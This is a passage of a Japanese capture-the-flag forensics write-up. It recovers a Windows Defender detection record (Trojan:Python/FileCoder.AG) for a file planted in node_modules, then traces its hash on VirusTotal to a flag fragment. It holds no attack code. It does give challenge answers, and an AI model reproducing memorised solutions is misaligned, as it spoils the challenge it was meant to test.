%programdata%\\Microsoft\\Windows Defender\\Scans\\History\\Service\\DetectionHistoryを見ても同じファイル名。あってそう?

んーWindowsイベントログを.jsでキーワード検索してもいい情報が無い。

DetectionHistoryってハッシュ値残ってない?と思って調べてみると、取得できるようだ。defender-detectionhistory-parserを使って、ファイルを解析すると、sha256ハッシュ値が得られる。

{
    "GUID": "a4b6c5c1-8a64-4407-a6a3-92681ac72a03",
    "Magic.Version": "1.2",
    "Trojan": "Python/FileCoder.AG!MTB",
    "ThreatStatusID": 4,
    "file": "C:\\Users\\User\\Documents\\workspaces\\marktype\\node_modules\\highlight.js\\this_is_not_flag.py",
    "ThreatTrackingSha256": "b96323d57f8cb064f82c9821dbe9bec3fe6d2c08731e2aed39005bcf61a589c8",
    "ThreatTrackingSigSeq": "0x0000266725866614",
    "ThreatTrackingId": "191D0034-66D1-40AE-BAD1-383988FDED98",
    "ThreatTrackingStartTime": "04-19-2025 14:11:14",
    "ThreatTrackingThreatName": "Trojan:Python/FileCoder.AG!MTB",
    "ThreatTrackingSha1": "2669c24f0bbb80d7574dd6fa2727f2a1061da8a1",
    "ThreatTrackingSigSha": "b3fe2875b134dd813d8d81dda1455806b9c14f76",
    "ThreatTrackingSize": 2553,
    "ThreatTrackingMD5": "f8f240b78f5d51e760180e759f076643",
    "ThreatTrackingScanFlags": "",
    "ThreatTrackingIsEsuSig": "",
    "ThreatTrackingThreatId": 2147921159,
    "ThreatTrackingScanSource": "",
    "ThreatTrackingScanType": "",
    "User": "Unknown",
    "SpawningProcessName": "NT AUTHORITY\\SYSTEM"
}

このハッシュ値でVirusTotalを検索すると、DetailsのNamesの所にevil.pyというのを見ることができる。

evil

これを全部くっつけると答えになる。